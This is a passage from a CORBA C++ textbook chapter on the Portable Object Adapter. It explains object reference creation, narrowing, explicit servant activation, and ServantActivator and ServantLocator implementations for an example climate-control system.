        PortableServer::ObjectId_var oid = 
            PortableServer::string_to_ObjectId(str); 
        ostr.rdbuf()->freeze(0); 
 
        // Check the model type of the device so 
        // we can determine the right repository ID 
        // for the new object. 
        const char * repos_id; 
        char model[32]; 
        int ok = ICP_get(anum, "model", model, sizeof(model)); 
        assert(ok == 0); 
        if (strcmp(model, "Sens-A-Temp") == 0) 
            repos_id = "IDL:acme.com/CCS/Thermometer: 1.0"; 
        else 
            repos_id = "IDL:acme.com/CCS/Thermostat:1.0"; 
 
         // Assume we already have a valid POA reference. 
         CORBA::Object_var obj = 
             poa->create_reference_with_id(oid, repos_id); 
 
         // Narrow and store in our return sequence. 
         return_seq[index++] = CCS::Thermometer::_narrow(obj); 
    } 
return return_seq._retn(); 
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} 
 
      

A difference between the Controller_impl class we show in Section 10.11.2 
and this example is that we use an STL set, and not a map, as the m_assets data 
member. This is because the Active Object Map of our POA stores the 
Thermometer_impl * servant pointers, so we have no need to keep a separate map 
that duplicates that storage. Instead, m_assets stores only asset numbers. 
 
The list implementation iterates over the set of asset numbers. For each asset number, 
we must create an object reference for the device it represents. To do this, we first 
convert the asset number to a string using an ostrstream, and then we convert the 
resulting string to an ObjectId using the string_to_ObjectId helper function 
supplied in the PortableServer namespace (this is a stand-alone function that 
converts strings to ObjectIds). In addition to the ObjectId, we need the repository 
ID for the most derived interface our new object will support. To determine the correct 
repository ID, we use the asset number to read the model type directly from the device 
using the ICP_get device access function. If the model type indicates that the device is 
a thermometer, we make the repos_id variable point to the repository ID for the 
Thermometer interface; otherwise, we make it point to the ID for the Thermostat 
interface. We pass the oid and the repos_id arguments to 
create_reference_with_id to create the object reference for the device. Because 
the return value of create_reference_with_id is a reference of type 
CORBA::Object, though, we narrow it to the CCS::Thermometer type before we 
assign it to our return sequence. After we finish iterating over the m_assets set, we 
return the sequence of Thermometer references. 
 
This implementation of list certainly works as desired. Moreover, the fact that we do 
not need to create any servants to return object references for all our devices clearly 
illustrates that the life cycle of a CORBA object is completely independent of the life 
cycle of any servant used to incarnate it. However, our list implementation contains a 
few assumptions that have some interesting side effects. These side effects are related to 
the interface types of the objects and to the eventual activation of the objects. 

Narrowing Issues 

Our goal in implementing list in this fashion is to avoid creating a servant for each 
object. Creating all those servants might be a waste of time and memory resources, 
mainly because it is unlikely that the client that invoked list will also invoke 
operations on every Thermometer that list returns. 
 
Unfortunately, the fact that we must narrow each newly created object reference to the 
CCS::Thermometer interface to assign it to our sequence might mean that a servant 
for each object gets created anyway. This is because _narrow must verify that the 
object actually supports the interface being narrowed to. Most ORBs perform narrowing 
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by passing the repository ID in the object reference for the target object to that object's 
CORBA::Object::is_a operation. Although some operations on CORBA::Object 
are carried out entirely on the client side, the is_a operation is not among them; usually, 
it is invoked directly on the target object as if it were an ordinary operation. This is why 
the ServantBase class provides a default implementation for _is_a, as shown in 
Section 11.6. To carry out the is_a request, the POA must activate the target object, 
meaning that the application must create and supply a servant for it. If the application 
must supply a servant immediately when a CORBA object is created, the optimizations 
afforded by create_reference and create_reference_with_id are entirely 
negated. 
 
Fortunately, some ORBs use the following techniques to avoid contacting the target 
object to complete a_narrow request. 
 
Because _narrow functions are provided by the static stubs compiled into the client 
application, some ORBs first try to down-cast through the C++ stub class hierarchy to try 
to find the desired interface. If the down-cast succeeds, the _narrow succeeds. 
Therefore, no remote message is sent, and the target object need not be activated. 
 
Some ORBs try to match the repository ID embedded in the object reference of the target 
object against the repository ID of the interface being narrowed to. If they match, the 
ORB performs the _narrow completely within the client, and activation of the target 
object is not required. 
 
Some ORBs use the Interface Repository to determine whether a narrow operation should 
succeed. The client ORB looks up the interface hierarchy supported by the target object 
by invoking operations on the Interface Repository and then comparing repository IDs to 
locate a match. If a match is found, the client-side _narrow succeeds and no requests 
are sent to the target object. 
 
This approach, however, is generally being abandoned in favor of the other two 
approaches for reasons of performance. Often, relying on the Interface Repository in this 
manner creates both a bottleneck and a single point of failure for the entire distributed 
system. 
 
To take advantage of ORBs that provide at least the first narrowing optimization, we 
might need to change our list implementation to narrow to the most derived interface 
of the object. 
        
if (strcmp(model, "Sens-A-Temp") == 0) 
    return_seq[i] = CCS::Thermometer::_narrow(obj); 
else 
    return_seq[i] = CCS::Thermostat::_narrow(obj); 
 
       
If the model type of the object indicates that it is a Thermometer, we narrow it to the 
Thermometer interface; otherwise, we narrow it to a Thermostat. If your ORB does 
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not appear to optimize narrowing to avoid unnecessary object activation, you might try 
rewriting your code as shown to always narrow to the most derived interface, if possible. 
Finally, another alternative that will be available in a future version of the CORBA 
specification is the unchecked narrow. Such a narrow behaves exactly as its name implies: 
it simply assumes that the target object supports the interface in question and returns a 
reference of the desired type. It thus delays type checking until your first invocation of an 
operation using the narrowed object reference. If the object does not actually support the 
operation being invoked, the client will receive the standard 
CORBA::BAD_OPERATION system exception. 
 
The unchecked narrow feature was introduced by the CORBA Messaging Specification 
[20], which adds asynchronous messaging capabilities to CORBA. The unchecked 
narrow is necessary to allow objects to be invoked statically using asynchronous or store-
and-forward mechanisms. Requiring synchronous narrow operations on such objects 
would have negated the benefits provided by asynchronous invocations on those objects. 

Activation Issues 

Our implementation of the list operation creates all the object references using the 
same POA. Unfortunately, this seemingly inconsequential choice may severely limit our 
activation options. Because we have not yet described explicit object activation, servant 
managers, or default servants, we will revisit this issue and discuss it further in each of 
the following sections. 
 
We know, however, that our Controller object cannot be registered in the same POA 
as our Thermometer and Thermostat objects. One reason is that we use asset 
numbers for our object IDs, and our controller does not have an asset number; it is purely 
a singleton object, and, unlike the other objects in the system, it does not have a physical 
device counterpart. We could probably make up a special asset number for the 
Controller that would not clash with any Thermometer or Thermostat asset 
numbers, but this approach is unnatural and is just a maintenance nightmare waiting to 
happen. Instead, we create a POA just for our Controller and explicitly activate a 
servant for it there. The following example shows how two POAs—one for 
Thermometer objects and one for Thermostat objects—can be created as children 
of a POA for the Controller. 
        
// Initialize the ORB. 
CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
// Get a reference to the Root POA. 
CORBA::Object_var obj = 
    orb->resolve_initial_references("RootPOA"); 
PortableServer::POA_var root_poa = 
    PortableServer::POA::_narrow(obj); 
assert(!CORBA::is_nil(root_poa)); 
 
// Create PolicyList for child POAs (not shown). 
CORBA::PolicyList policy_list; 
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// Invoke create_POA to create the Controller child POA. 
PortableServer::POA_var controller_poa = 
    root_poa->create_POA("controller", 
                         PortableServer::POAManager:: 
_nil(), 
                         policy_list); 
 
// Now create Thermometer and Thermostat POAs as children 
// of the Controller POA. 
PortableServer::POA_var thermometer_poa = 
    controller_poa->create_POA("thermometer", 
                               PortableServer::POAManager::_nil(), 
                               policy_list); 
 
PortableServer::POA_var thermostat_poa = 
    controller_poa->create_POA("thermostat", 
                               PortableServer::POAManager::_nil(), 
                               policy_list); 
 
       
Creating our POAs in this order can be very helpful at server shutdown time because it 
ensures that all the Thermometer servants and Thermostat servants are etherealized 
before the Controller servant. This is because child POAs are destroyed before their 
parent POAs, and, if the child has a ServantActivator, its servants will be 
etherealized before the parent's servants. We modified our Controller_impl to keep 
track only of asset numbers rather than also keeping track of the Thermometer and 
Thermostat servants, so this POA hierarchy is no longer as important as it would be 
for the CCS implementation we show in Chapter 10. However, creating our hierarchy 
in this manner allows us to experiment with the relationships between our Controller, 
Thermometer, and Thermostat servants without also having to continually modify 
the POA hierarchy. We provide more details concerning application shutdown and 
servant etherealization in Section 11.13. 

11.7.2 Servant Registration 

One of the most straightforward ways to activate an object is to use the POA object 
activation operations. With these operations, the application developer explicitly supplies 
a servant to incarnate the object being activated, and, depending on the POA's 
IdAssignmentPolicy, either the POA assigns an ObjectId or the application 
developer supplies one. The two activation operations are defined as follows. 
       
module PortableServer { 
     exception ServantAlreadyActive {}; 
     exception ObjectAlreadyActive {}; 
     exception WrongPolicy {}; 
 
     interface POA { 
         ObjectId activate_object(in Servant p_servant) 
                      raises(ServantAlreadyActive, WrongPolicy); 
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     void         activate_object_with_id( 
                       in ObjectId id, in Servant p_servant 
                  ) raises( 
                      ServantAlreadyActive, 
                      ObjectAlreadyActive, 
                      WrongPolicy 
                  ); 
            // ... 
     }; 
     // ... 
}; 
 
      
You choose either activate_object or activate_object_with_id based on 
the policies of the target POA. 
The activate_object operation requires the target POA to have an 
IdAssignmentPolicy value of SYSTEM_ID and a ServantRetentionPolicy 
value of RETAIN. If either of these policies does not have the required value, 
activate_object raises the WrongPolicy exception. 
The activate_object_with_id operation requires the target POA to have a 
ServantRetentionPolicy value of RETAIN. If the POA does not have the 
RETAIN value for this policy, activate_object_with_id raises the 
WrongPolicy exception. 
If the IdUniquenessPolicy of the POA is set to UNIQUE_ID and if the Servant 
passed as an argument is already in the POA's Active Object Map, both 
activate_object and activate_object_with_id raise the 
ServantAlreadyActive exception. Because C++ servants are passed into POA 
operations as ServantBase *, the POA uses pointer comparison to check to see 
whether a given C++ servant is already in its Active Object Map. 
 
The following example shows how you would create a servant for the Controller 
interface for the climate control system. First, we define the Controller_impl class. 
       
#include <set> 
#include "CCSS.hh" 
 
class Controller_impl : public virtual POA_CCS::Controller 
{ 
public: 
    // CORBA operations. 
    virtual CCS::Controller::ThermometerSeq * 
                list() throw(CORBA::SystemException); 
 
    virtual void 
                find(CCS::Controller::SearchSeq & slist) 
                    throw(CORBA::SystemException); 
 
    virtual void 
                change( 
                    const CCS::Controller::Thermostat Seq & tlist, 
                    CORBA::Short                                delta 
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                ) throw( 
                    CORBA::SystemException, 
                    CCS::Controller::EChange 
                ); 
 
    // Constructor and destructor. 
    Controller_impl(); 
    virtual ~Controller_impl(); 
     
    // Helper functions to allow thermometers and 
    // thermostats to add themselves to the m_assets set 
    // and to remove themselves again. 
    void add_impl(CCS::AssetType anum); 
    void remove_impl(CCS::AssetType anum); 
     
    CORBA::Boolean exists(CCS::AssetType anum) const; 
 
private: 
    // Set type for storing known devices. 
    typedef set<CCS::AssetType> AssetSet; 
 
    // Set of known devices. 
    AssetSet m_assets; 
 
    // copy not supported 
    Controller_impl(const Controller_impl &); 
    void operator=(const Controller_impl &); 
 
    // Helper class for find() operation not shown. 
}; 
 
      

This class definition is a little different from the one we show in Section 10.11.1. Our 
class uses an STL set type as the m_assets data member to hold all known device 
asset numbers. When created, a Controller_impl instance fills its m_assets set 
by reading device asset numbers from a file (not shown). 
 
Next, we use the Controller_impl servant class to activate a Controller object. 
       
// Create our Controller servant. 
Controller_impl ctrl_servant; 
 
// Create our Controller ObjectId. 
PortableServer::ObjectId_var oid = 
    PortableServer::string_to_ObjectId("Controller"); 
 
// Activate our Controller. 
poa->activate_object_with_id(oid, &ctrl_servant); 
 
      
First, we create the Controller servant. We assume that we are creating the 
Controller_impl instance directly on the stack in our main function, so there is no 
danger of its going out of scope while the POA is still trying to dispatch to it. Next, we 
create the ObjectId by using the string_to_ObjectId helper function to convert 
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the string "Controller" into an ObjectId. Finally, we pass our servant and its 
ObjectId to activate_object_with_id to activate the Controller object. 
Figure 11.7 illustrates the entry we create in the POA's Active Object Map with the 
invocation of activate_object_with_id. 

Figure 11.7 Active Object Map entry for the Controller. 

 
Our new Active Object Map entry is logically a key-value pair, with the key set to the 
object identifier "Controller" (converted to a sequence of octet) and the value set 
to the address of the Controller_impl servant. 
 
Despite their names, these activation operations are also capable of creating CORBA 
objects under the right circumstances. For example, invoking activate_object on a 
POA supporting the SYSTEM_ID, TRANSIENT, and RETAIN policy values creates a 
new transient object if the servant passed to it is not already in the POA's Active Object 
Map. Similarly, invoking activate_object_with_id on a POA with the 
USER_ID and RETAIN policy values also creates a new object if the servant passed to it 
is not already in the POA's Active Object Map. As we describe in Section 11.7.1, 
when creating an object, the POA requires the repository ID of the most derived interface 
that the new object will support. When activate_object or 
activate_object_with_id is used to create an object, the POA gets the repository 
ID for the new object from the skeleton in a way that is private to each ORB 
implementation. 
 
When you invoke activate_object or activate_object_with_id, the POA 
invokes _add_ref on the servant you pass in. The POA does this because it needs to 
make sure that nobody deletes the servant while it has a pointer to it stored in its Active 
Object Map. When the POA no longer needs the servant, it invokes _remove_ref to 
drop the servant's reference count. 
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There is one small problem with using the activation operations to create objects: neither 
activate_object nor activate_object_with_id returns the object reference 
of the new object. One way to get the object reference of the newly activated object is to 
invoke the id_to_reference operation on the POA after invoking either 
activate_object or activate_object_with_id. The following example 
assumes that we have already created a Controller_impl servant as in the preceding 
example. 
       
// Activate Controller object for SYSTEM_ID POA. 
PortableServer::ObjectId_var oid = 
    poa->activate_object(ctrl_servant); 
 
// Obtain the object reference for the ObjectId. 
CORBA::Object_var object = poa->id_to_reference(oid); 
 
// Narrow to the thermometer interface. 
CCS::Controller_var controller = 
    CCS::Controller::_narrow(object); 
 
      
Like activate_object and activate_object_with_id, the 
id_to_reference operation requires the POA to have the RETAIN policy value; 
otherwise, it raises the WrongPolicy exception. Other POA conversion functions 
between object IDs, servants, and references are described in Section 11.8. 
An even easier way to obtain the object reference for the Controller after we activate 
it with activate_object_with_id is to invoke _this on the 
Controller_impl servant. 
       
// Create our Controller servant. 
Controller_impl ctrl_servant; 
 
// Create our Controller ObjectId. 
PortableServer::ObjectId_var oid = 
    PortableServer::string_to_ObjectId("Controller"); 
 
// Activate our Controller. 
poa->activate_object_with_id(oid, &ctrl_servant); 
 
// Obtain the Controller object reference. 
CCS::Controller_var ctrl = ctrl_servant._this(); 
 
      
Because we have already registered our Controller_impl instance to incarnate our 
Controller object, invoking _this on it merely returns the existing Controller 
object reference. This implies that _this is a multipurpose function. As you first saw in 
Chapter 9, invoking _this under the right circumstances can implicitly create and 
activate a CORBA object. Here, with the object already activated, it just returns the 
object reference. If our Controller_impl servant is registered on any POA other 
than the Root POA, we must also override the _default_POA function inherited from 
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ServantBase to return that POA, otherwise _this will erroneously register our 
servant with the Root POA. 
 
The Controller is a perfect candidate for explicit activation because it is a singleton 
object. Because only a single instance ever exists, defining and implementing a 
Controller servant manager for it is overkill. Furthermore, the Controller is key 
to the operation of our CCS because it provides access to all the devices in the system. 
This means that it will be invoked almost immediately when the system starts operating, 
which means that it will immediately require a servant. 
 
Because it supplies access to all system devices, the Controller serves as the "entry 
point" into our climate control system. We therefore need it to be a persistent object so 
that our clients can continue using their Controller object references even if we take 
the system down for maintenance and then restart it. If our Controller object is to be 
persistent, it must be created within a POA that has the PERSISTENT value for the 
LifespanPolicy. This implies that we must create a POA for our controller because 
the Root POA does not support persistent objects. 
       
// Create a PERSISTENT LifespanPolicy object. 
PortableServer::LifespanPolicy_var lifespan = 
  root_poa->create_lifespan_policy(PortableServer::PERSISTENT); 
// Create a USER_ID IdAssignmentPolicy object. 
PortableServer::IdAssignmentPolicy_var assign = 
   root_poa->create_id_assignment_policy(PortableServer::USER_ID); 
// Create PolicyList. 
CORBA::PolicyList policy_list; 
policy_list.length(2); 
policy_list[0] = 
   PortableServer::LifespanPolicy::_duplicate(lifespan); 
policy_list[1] = 
   PortableServer::IdAssignmentPolicy::_duplicate(assign); 
// Create the child POA. 
PortableServer::POA_var ctrl_poa = 
   root_poa->create_POA("Controller", nil_mgr, policy_list); 
// Create our Controller servant. 
Controller_impl ctrl_servant; 
// Create our Controller ObjectId. 
PortableServer::ObjectId_var oid = 
   PortableServer::string_to_ObjectId("Controller"); 
// Activate our Controller. 
ctrl_poa->activate_object_with_id(oid, &ctrl_servant); 
// Destroy our policy objects. 
lifespan->destroy(); 
assign->destroy(); 
 
      
The two policies we must create for our Controller POA are the life span policy (so that 
we can specify the PERSISTENT value) and the ID assignment policy (so that we can 
specify the USER_ID value). The defaults for all the other policy types suffice. We then 
use these policies to create our Controller POA as a child of the Root POA. After that, we 
create our servant and explicitly register it with our new POA as before. Finally, we 
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destroy our policy objects because we no longer need them. Note that even though we 
stored the policy object references in instances of the LifespanPolicy_var and 
IdAssignmentPolicy_var types for automatic cleanup, we must still explicitly 
invoke destroy to get rid of them. This is because the _var objects clean up only the 
object references and not the policy objects themselves. 

11.7.3 Servant Managers 

For some applications, explicit servant registration is prohibitively expensive; for others, 
it is virtually impossible. These types of applications might contain many thousands of 
objects, and creating and registering a servant for each one could require too much 
memory or require too many costly database lookups. Alternatively, an application might 
function as a gateway to another distributed system and thus might have to learn of the 
presence of objects dynamically. When a new object is created in the foreign system, the 
gateway must instantiate a servant for it on-the-fly. In both cases, these applications 
would prefer to activate objects on demand as requests are actually made on them rather 
than having to activate them all before the ORB starts listening for requests. 
 
A POA that has the USE_SERVANT_MANAGER policy value supports these types of 
applications by allowing them to create servant managers, which actively participate in 
the process of determining object-to-servant associations. A servant manager is a callback 
object that the application registers with a POA to assist or even replace the function of 
the POA's own Active Object Map. When the POA attempts to determine the servant 
associated with a given target object, it calls back to the application's servant manager to 
obtain the servant. 
 
There are two types of servant managers. 
 
For a POA with the RETAIN value for the ServantRetention policy, your servant 
manager object must support the ServantActivator interface. 
 
For a POA with the NON_RETAIN policy value, your servant manager must support the 
ServantLocator interface. 
 
Before we describe these interfaces in detail, we must first show some IDL definitions 
that support the ServantActivator and ServantLocator interfaces: 
       
module PortableServer { 
    exception ForwardRequest { 
        Object forward_reference; 
    }; 
 
    interface ServantManager {}; 
 
    // ... 
}; 
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The ForwardRequest exception can be raised by implementations of 
ServantActivator and ServantLocator to signify that the request should be 
processed by a different object, perhaps in another server. For interoperable applications 
using IIOP to communicate with remote clients and objects, the ORB turns the 
ForwardRequest exception into a LOCATION_FORWARD reply status, which directs 
the requesting ORB to redirect the request to the object denoted by the 
forward_reference member of the exception. See Chapter 13 for more details 
concerning LOCATION_FORWARD. 
 
The ServantManager interface serves as a base interface for both the 
ServantActivator and ServantLocator interfaces. Its primary purpose is to 
allow objects that support either of these interfaces to be registered with the POA and to 
be managed using a single set of operations. 

Servant Activators 

The ServantActivator interface supplies the incarnate and etherealize 
operations: 
        
module PortableServer { 
    interface ServantActivator : ServantManager { 
        Servant    incarnate( 
                       in ObjectId oid, 
                       in POA      adapter 
                   ) raises(ForwardRequest); 
 
        void       etherealize( 
                       in ObjectId oid, 
                       in POA      adapter, 
                       in Servant  serv, 
                       in boolean  cleanup_in_progress, 
                       in boolean  remaining_activations 
                   ); 
    }; 
 
    // ... 
}; 
 
       
When a POA with the RETAIN policy value receives a request for a target object, it 
consults its Active Object Map to see whether a servant is already available for that 
object. If none is found but the application has registered a ServantActivator with 
the POA, the POA invokes the incarnate operation of the ServantActivator 
object, passing it both the ObjectId of the target object and a reference to itself. The 
implementation of the incarnate operation either creates a suitable instance of a 
servant and returns it, raises a system exception, or raises a ForwardRequest 
exception. 
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Because a ServantActivator is itself an object, you must create and activate it 
before it can be registered with a POA. Here is an example definition of a 
ServantActivator servant class: 
        
#include <poaS.hh> 
 
class Controller_impl; 
 
class ThermometerActivator_impl : 
    public virtual POA_PortableServer::ServantActivator { 
public: 
    ThermometerActivator_impl(Controller_impl & ctrl); 
    virtual ~ThermometerActivator_impl() {} 
 
    virtual PortableServer::Servant 
        incarnate( 
            const PortableServer::ObjectId & oid, 
            PortableServer::POA_ptr          poa 
        ) throw( 
            CORBA::SystemException, PortableServer::ForwardRequest 
        ); 
 
    virtual void 
        etherealize( 
            const PortableServer::ObjectId & oid, 
            PortableServer::POA_ptr          poa, 
            PortableServer::Servant          serv, 
            CORBA::Boolean                   cleanup_in_progress, 
            CORBA::Boolean                   remaining_activations 
        ) throw(CORBA::SystemException); 
 
private: 
    Controller_impl & m_ctrl; 
 
    // copy not supported 
    ThermometerActivator_impl( 
        const ThermometerActivator_impl & t 
    ); 
    void operator=(const ThermometerActivator_impl &t); 
}; 
 
       
Like any servant class, our ThermometerActivator_impl class derives from its 
skeleton class, which in this case is the ServantActivator skeleton in the 
POA_PortableServer namespace. It overrides the pure virtual functions it inherits, 
which represent the operations on the ServantActivator IDL interface. 
 
Our implementation of the incarnate function must check to see that the device that 
the target object corresponds to actually exists. It does this by invoking the public helper 
function exists on the Controller_impl. The implementation of 
Controller_impl::exists simply checks for the device asset number in the set of 
known assets. This is necessary because our ICP network does not allow direct probes for 
devices. 
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CORBA::Boolean 
Controller_impl::exists(CCS::AssetType anum) const 
{ 
    return m_assets.find(anum) != m_assets.end(); 
} 
 
       
If we find the device number in the m_assets set, exists returns true; otherwise, it 
returns false. 
 
Our servant activator implementation assumes that object IDs are strings containing the 
asset numbers of our devices. We first attempt to convert the oid argument from an 
ObjectId to a string using the ObjectId_to_string helper function supplied in 
the PortableServer namespace. This function throws a CORBA::BAD_PARAM 
exception if the object ID contains any octet values that are illegal string characters. 
Because we know that our object IDs contain only printable characters, we catch that 
exception and throw a CORBA::OBJECT_NOT_EXIST exception to indicate that the 
object ID does not represent any known object in this POA. Assuming that 
ObjectId_to_string is successful, we then parse the object ID string using an 
istrstream to turn the string back into an actual asset number. 
        
PortableServer::Servant 
ThermometerActivator_impl:: 
incarnate( 
    const PortableServer::ObjectId & oid, 
    PortableServer::POA_ptr               poa 
) throw(CORBA::SystemException, PortableServer::ForwardRequest) 
{ 
    // Check to see if the object ID is valid. 
    CORBA::String_var oid_string; 
    try { 
        oid_string = PortableServer::ObjectId_to_string(oid); 
    } catch(const CORBA::BAD_PARAM&) { 
        throw CORBA::OBJECT_NOT_EXIST(); 
    } 
 
    // Get the asset number from the oid_string. 
    istrstream istr(oid_string.in()); 
    CCS::AssetType anum; 
    istr >> anum; 
    if (istr.fail()) 
       throw CORBA::OBJECT_NOT_EXIST(); 
 
    // Does the object ID denote one of our assets? 
    if (!m_ctrl.exists(anum)) 
       throw CORBA::OBJECT_NOT_EXIST(); 
 
    // Get the model identifier from the device. 
    PortableServer::Servant servant = 0; 
    char model[32]; 
    if (ICP_get(anum, "model", model, sizeof(model)) != 0) 
       abort(); 



IT-SC book: Advanced CORBA® Programming with C++ 

 417

    if (strcmp(model, "Sens-A-Temp") == 0) 
       servant = new Thermometer_impl(anum); 
    else 
        servant = new Thermostat_impl(anum); 
    return servant; 
} 
 
       
Next, we invoke Controller_impl::exists as described earlier. If it returns true, 
we use the ICP network to determine the model type of the device. Depending on the 
model type, we create either a Thermometer_impl servant or a 
Thermostat_impl servant. Either way, the servant is created on the heap because the 
POA, which must have the RETAIN policy value for servant activators to work, will keep 
a pointer to it in its Active Object Map. We can eventually invoke delete on the 
servant when the etherealize function is invoked. 
 
The etherealize function, which allows applications to clean up their servants, is the 
opposite of the incarnate function. The POA normally invokes etherealize in 
response to an explicit object deactivation via deactivate_object (even if the 
servant for that object was not created by the servant activator) or in response to the 
deactivation or destruction of the POA itself. Our implementation of etherealize is 
very simple, only checking to make sure that the servant is no longer in use before 
invoking delete on it. 
        
void 
ThermometerActivator_impl:: 
etherealize( 
    const PortableServer::ObjectId & oid, 
    PortableServer::POA_ptr              poa, 
    PortableServer::Servant              servant, 
    CORBA::Boolean                cleanup_in_progress, 
    CORBA::Boolean                remaining_activations 
) throw(CORBA::SystemException) 
{ 
    if (!remaining_activations) 
    delete servant; 
} 
 
       
Alternatively, if our servant uses actual reference counting (such as that provided by the 
RefCountServantBase mix-in class) and invokes delete on itself when its 
reference count drops to zero, we can make etherealize call _remove_ref on the 
servant instead of directly invoking delete. 
 
Before the POA calls the etherealize function, it removes the Active Object Map 
entry corresponding to the target object. Because a servant can incarnate multiple 
CORBA objects simultaneously, the remaining_activations argument is true 
(non-zero) if the servant still incarnates other objects and thus is still present in other 
Active Object Map entries. If remaining_activations is false (zero), we do not 
drop the servant's reference count; in this way, we keep the servant available for the other 
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Active Object Map entries. The cleanup_in_progress argument, which we do not 
use in our example, is true if the POA invoked etherealize in response to its own 
imminent deactivation or destruction. Applications that want to perform additional 
servant housekeeping chores when the POA is being shut down can use the 
cleanup_in_progress flag as an indication of when to do so. After 
etherealize returns, the POA does not access the servant in any way because 
etherealize may have destroyed it. 
 
For multithreaded systems, the POA makes certain guarantees concerning invocations of 
the incarnate and etherealize functions. These guarantees prevent your 
ServantActivator from creating duplicate servants for the same object ID 
simultaneously in multiple threads, and they also prevent it from simultaneously 
etherealizing the same servant in multiple threads. 
 
A POA never simultaneously invokes incarnate or etherealize on a given 
ServantActivator for the same object ID from multiple threads. 
 
For a given object ID, a POA never invokes incarnate on a given 
ServantActivator while it is already in the process of carrying out an invocation of 
its etherealize function, or vice versa. In other words, a POA will never cause 
incarnate and etherealize to execute simultaneously on a single 
ServantActivator for the same object ID. 
 
If an object is deactivated directly, the POA queues new requests for it until 
etherealize completes. If etherealize is called for an object as a result of the 
deactivation of the POA, all new requests for that object are rejected (see Section 
11.7.6). 
 
Note that if you use the same ServantActivator in multiple POAs, the POAs will 
not interact to uphold these guarantees. If for some reason you want to use the same 
ServantActivator with multiple POAs, make sure that your implementation is 
thread-safe. For maximal portability, we recommend using a ServantActivator for 
only a single POA at a time. 

Servant Locators 

For POAs with the USE_SERVANT_MANAGER and NON_RETAIN policy values, your 
servant manager must support the ServantLocator interface. The 
ServantLocator interface provides the preinvoke and postinvoke operations: 
        
module PortableServer { 
    interface ServantLocator : ServantManager { 
        native Cookie; 
 
        Servant    preinvoke( 
                       in ObjectId            oid, 
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                       in POA                 adapter, 
                       in CORBA::Identifier   operation, 
                       out Cookie             the_cookie 
                   ) raises(ForwardRequest); 
 
        void       postinvoke( 
                       in ObjectId          oid, 
                       in POA               adapter, 
                       in CORBA::Identifier operation, 
                       in Cookie            the_cookie, 
                       in Servant           serv 
                   ); 
    }; 
 
    // ... 
}; 
 
       
A POA with the NON_RETAIN policy value does not store object-to-servant associations 
in its Active Object Map, so it must invoke its ServantLocator for each incoming 
request. It first invokes preinvoke to obtain a servant to dispatch the request to. After 
the request returns, the POA invokes postinvoke to allow the ServantLocator to 
perform servant cleanup or other post-invocation functions. As far as the POA is 
concerned, the servant returned by preinvoke is used only for a single request. 
 
Defined within the ServantLocator interface is the Cookie type, another native 
IDL type. The Cookie IDL type, which maps to void * in C++, allows the 
ServantLocator to associate an invocation of preinvoke with its matching 
postinvoke call. Being a void *, the Cookie can carry whatever state the 
ServantLocator implementation needs for servant instantiation and cleanup. The 
POA simply passes the Cookie along without interpreting it. 
 
The POA passes the ObjectId of the target object, a reference to itself, and the name 
of the operation being invoked to the preinvoke operation. The implementation of the 
preinvoke operation either returns a servant to carry out the request, raises a system 
exception, or raises a FormalRequest exception. In addition, it can set the Cookie 
output parameter to a value that the POA will pass back to it in the postinvoke call 
after the request completes. If the implementation of the ServantLocator does not 
need the Cookie parameter, it need not use it. 
 
We can define a ServantLocator servant class similar to the one we defined earlier 
for the ServantActivator interface: 
        
#include <poaS.hh> 
 
class Controller_impl; 
 
class ThermometerLocator_impl : 
    public virtual POA_PortableServer::ServantLocator 
{ 
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public: 
    ThermometerLocator_impl(Controller_impl & ctrl); 
    virtual ~ThermometerLocator_impl() {} 
 
    virtual PortableServer::Servant 
        preinvoke( 
            const PortableServer::ObjectId & oid, 
            PortableServer::POA_ptr          poa, 
            const char *                     operation, 
            void * &                         cookie 
     ) throw( 
         CORBA::SystemException, PortableServer::ForwardRequest 
     ); 
    
   virtual void 
         postinvoke( 
            const PortableServer::ObjectId & oid, 
            PortableServer::POA_ptr          poa, 
            const char *                     operation, 
            void *                           cookie, 
            PortableServer::Servant          servant 
         ) throw(CORBA::SystemException); 
 
private: 
    Controller_impl & m_ctrl; 
    // copy not supported 
    ThermometerLocator_impl(const ThermometerLocator_impl & t); 
    void operator=(const ThermometerLocator_impl & t); 
}; 
 
       
The constructor initializes the m_ctrl data member to refer to the singleton 
Controller_impl servant. As with the ThermometerActivator_impl shown 
in the preceding section, ThermometerLocator_impl uses the 
Controller_impl::exists function to make sure that the target device still exists 
before creating a servant for it. 
 
The preinvoke function first checks that the object ID can be converted to a string, 
and then it checks the contents of the resulting string by attempting to read an asset 
number from it. If either of these fails, we throw the CORBA::OBJECT_NOT_EXIST 
exception to indicate that the object ID is not valid for any object in this POA. 
        
PortableServer::Servant 
ThermometerLocator_impl:: 
preinvoke( 
             const PortableServer::ObjectId & oid, 
             PortableServer::POA_ptr              poa, 
             const char *                         operation, 
             void * &                         cookie 
) throw(CORBA::SystemException, PortableServer::ForwardRequest) 
{ 
    // Check to see if the object ID is valid. 
    CORBA::String_var oid_str; 
    try { 
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        oid_str = PortableServer::ObjectId_to_string(oid); 
    } catch(const CORBA::BAD_PARAM &) { 
        throw CORBA::OBJECT_NOT_EXIST(); 
    } 
 
    // Get the asset number from the oid_string. 
    istrstream istr(oid_str.in()); 
    CCS::AssetType anum; 
    istr >> anum; 
    if (istr.fail()) 
        throw CORBA::OBJECT_NOT_EXIST(); 
     
    // Does the object ID denote one of our assets? 
    if (!m_ctrl.exists(anum)) 
        throw CORBA::OBJECT_NOT_EXIST(); 
     
    // Get the model identifier from the device. 
    PortableServer::Servant servant = 0; 
    char model[32]; 
    if (ICP_get(anum, "model", model, sizeof(model)) != 0) 
        abort(); 
    if (strcmp(model, "Sens-A-Temp") == 0) 
        servant = new Thermometer_impl(anum); 
    else 
        servant = new Thermostat_impl(anum); 
    return servant; 
} 
 
       
The preinvoke implementation is identical to the 
ThermometerActivator_impl::incarnate function in the preceding section. 
It checks the asset number with the Controller_impl to make sure the device is 
valid, reads the model type from the device over the ICP network, and returns a servant 
of the appropriate type. 
 
Note that preinvoke receives some arguments that our example does not use. In 
addition to the Cookie parameter, it receives a reference to the POA that invoked it and 
a string indicating the name of the operation that will be invoked on the returned servant. 
The operation name can be especially useful if you want your ServantLocator to 
return a different servant depending on which operation is being invoked. 
 
Our implementation of postinvoke simply invokes delete on the servant. 
Alternatively, if our servant uses reference counting so that it invokes delete on itself 
when its reference count drops to zero (perhaps by inheriting its _remove_ref 
implementation from the RefCountServantBase mix-in class), postinvoke can 
call _remove_ref on the servant rather than directly invoke delete. 
        
void 
ThermometerLocator_impl:: 
postinvoke( 
            const PortableServer::ObjectId & /* oid */, 
            PortableServer::POA_ptr              /* poa */, 
